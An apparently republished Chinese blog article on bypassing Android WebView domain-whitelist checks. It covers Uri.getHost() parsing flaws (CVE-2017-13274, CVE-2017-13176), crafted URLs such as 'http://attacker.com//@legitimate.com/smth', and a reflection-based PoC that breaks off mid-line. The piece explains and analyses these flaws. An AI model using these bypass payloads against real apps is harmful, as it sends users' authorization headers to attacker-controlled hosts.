这期内容当中小编将会给大家带来有关Android中怎么绕过域名白名单校验,文章内容丰富且以专业的角度为大家分析和叙述,阅读完这篇文章希望大家可以有所收获。
一、 Url加入反斜杠"/"
1.1. 方法描述
先来看一种典型的域名校验写法:
/* Uri 结构
* [scheme:][//authority][path][?query][#fragment]
*/
[check_v1]
Uri uri = Uri.parse(attackerControlledString);
if ("legitimate.com".equals(uri.getHost()) || uri.getHost().endsWith(".legitimate.com")) {
webView.loadUrl(attackerControlledString, getAuthorizationHeaders());
// or webView.loadUrl(uri.toString())
}
然而…
String url = "http://attacker.com//.legitimate.com/smth";
Log.d("getHost:", Uri.parse(url).getHost()); // 输出 attacker.com/.legitimate.com !
if (Uri.parse(url).getHost().endsWith(".legitimate.com")) {
webView.loadUrl(url, getAuthorizationHeaders()); // 成功加载 attacker.com!
}
可以看到 getHost() 和 loadUrl() 的表现不一致,if检验跳转目标是legitimate.com
,但执行时浏览器会把反斜线纠正为正斜线去访问attacker.com
。那么如果是用 equals() 来做完整的 host 检验该怎么办呢?只需加一个‘@’就能隔断非法前缀。
String url = "http://attacker.com//@legitimate.com/smth";
Log.d("Wow", Uri.parse(url).getHost()); // 输出 legitimate.com!
webView.loadUrl(url, getAuthorizationHeaders()); // 加载 attacker.com!
1.2. 分析原因
看来android.net.Uri
的 parse() 是有安全缺陷的,我们扒拉一下代码定位问题…
[frameworks/base/core/java/android/net/Uri.java]
public static Uri parse(String uriString) {
return new StringUri(uriString);
}
继续看这个内部类StringUri
[frameworks/base/core/java/android/net/Uri.java]
private static class StringUri extends AbstractHierarchicalUri {
...
private StringUri(String uriString) {
this.uriString = uriString;
}
...
private Part getAuthorityPart() {
if (authority == null) {
String encodedAuthority
= parseAuthority(this.uriString, findSchemeSeparator());
return authority = Part.fromEncoded(encodedAuthority);
}
return authority;
}
...
static String parseAuthority(String uriString, int ssi) {
int length = uriString.length();
// If "//" follows the scheme separator, we have an authority.
if (length > ssi + 2
&& uriString.charAt(ssi + 1) == '/'
&& uriString.charAt(ssi + 2) == '/') {
// We have an authority.
// Look for the start of the path, query, or fragment, or the
// end of the string.
int end = ssi + 3;
LOOP: while (end < length) {
switch (uriString.charAt(end)) {
case '/': // Start of path
case '?': // Start of query
case '#': // Start of fragment
break LOOP;
}
end++;
}
return uriString.substring(ssi + 3, end);
} else {
return null;
}
}
}
这里就明显看到StringUri
没有对authority部分做反斜杠的识别处理, 接着找StringUri
的父类AbstractHierarchicalUri
瞧瞧:
[frameworks/base/core/java/android/net/Uri.java]
private abstract static class AbstractHierarchicalUri extends Uri {
private String parseUserInfo() {
String authority = getEncodedAuthority();
int end = authority.indexOf('@');
return end == NOT_FOUND ? null : authority.substring(0, end);
}
...
private String parseHost() {
String authority = getEncodedAuthority();
// Parse out user info and then port.
int userInfoSeparator = authority.indexOf('@');
int portSeparator = authority.indexOf(':', userInfoSeparator);
String encodedHost = portSeparator == NOT_FOUND
? authority.substring(userInfoSeparator + 1)
: authority.substring(userInfoSeparator + 1, portSeparator);
return decode(encodedHost);
}
}
就在这里把@符号之前内容的作为 UserInfo 给切断了,host 内容从@符号之后算起。(这里其实存在另一个 bug,没有考虑多个@的情况)
1.3. 影响范围
Google 在 2018年4月的 Android 安全公告里发布了这个漏洞CVE-2017-13274的补丁
通过AndroidXRef查询,这个补丁在 Oreo – 8.1.0_r33 才加入到原生源码中。所以安全补丁日期早于2018-04-01的系统都受影响,而 Google 一般通过协议要求 OEM 厂商保证产品上市之后两年内按期打安全补丁。那么经过推算得出 Android 6及以下的系统都受影响。
PS:url含多个@的情况也在2018年1月的补丁中进行了修复CVE-2017-13176
二、反射调用HierarchicalUri构造Uri
2.1. 检查UserInfo
上一节提到了@的截取的特性,会把恶意地址前缀attacker.com
存入 UserInfo,那么现在改进校验方法, 加上 UserInfo 的检查是不是就万无一失了呢?
[check_v2]
Uri uri = getIntent().getData();
boolean isOurDomain = "https".equals(uri.getScheme()) &&
uri.getUserInfo() == null &&
"legitimate.com".equals(uri.getHost());
if (isOurDomain) {
webView.load(uri.toString(), getAuthorizationHeaders());
}
2.2. 挖掘思路
我们还是看android.net.Uri
源码,发现除了StringUri,还有一个内部类也 HierarchicalUri 也继承了 AbstractHierarchicalUri
[frameworks/base/core/java/android/net/Uri.java]
private static class HierarchicalUri extends AbstractHierarchicalUri {
private final String scheme; // can be null
private final Part authority;
private final PathPart path;
private final Part query;
private final Part fragment;
private HierarchicalUri(String scheme, Part authority, PathPart path, Part query, Part fragment) {
this.scheme = scheme;
this.authority = Part.nonNull(authority);
this.path = path == null ? PathPart.NULL : path;
this.query = Part.nonNull(query);
this.fragment = Part.nonNull(fragment);
}
...
}
而AbstractHierarchicalUri又是继承自Uri,所以很容易想到,通过反射调用HierarchicalUri这个私有构造函数,传入构造好的 authority 和 path, 创建一个任意可控的Uri实例。继续查看Part和PathPart类的构造方法:
static class Part extends AbstractPart {
private Part(String encoded, String decoded) {
super(encoded, decoded);
}
}
static class PathPart extends AbstractPart {
private PathPart(String encoded, String decoded) {
super(encoded, decoded);
}
}
2.3. 构造PoC
由此构造 PoC 如下:
public void PoC() {
private static final String TAG = "PoC";
String attackerUri = "@attacker.com";
String legitimateUri = "legitimate.com";
try {
Class partClass = Class.forName("android.net.Uri$Part");
Constructor partConstructor = partClass.getDeclaredConstructors()[0];
partConstructor.setAccessible(true);
Class pathPartClass = Class.forName("android.net.Uri$PathPart");
Constructor pathPartConstructor = pathPartClass.getDeclaredConstructors()[0];
pathPartConstructor.setAccessible(true);
Class hierarchicalUriClass = Class.forName("android.net.Uri$HierarchicalUri");
Constructor hierarchicalUriConstructor = hierarchicalUriClass.getDeclaredConstructors()[0];
hierarchicalUriConstructor.setAccessible(true);
Object authority = partConstructor.newInstance(legitimateUri, legitimateUri);
Object path = pathPartConstructor.newInstance(attackerUri, attackerUri);
Uri uri = (Uri) hierarchicalUriConstructor.newInstance("https", authority, path, null, null);
Log.d(TAG, "Scheme: " + uri<
原创文章,作者:1402239773,如若转载,请注明出处:https://blog.ytso.com/232071.html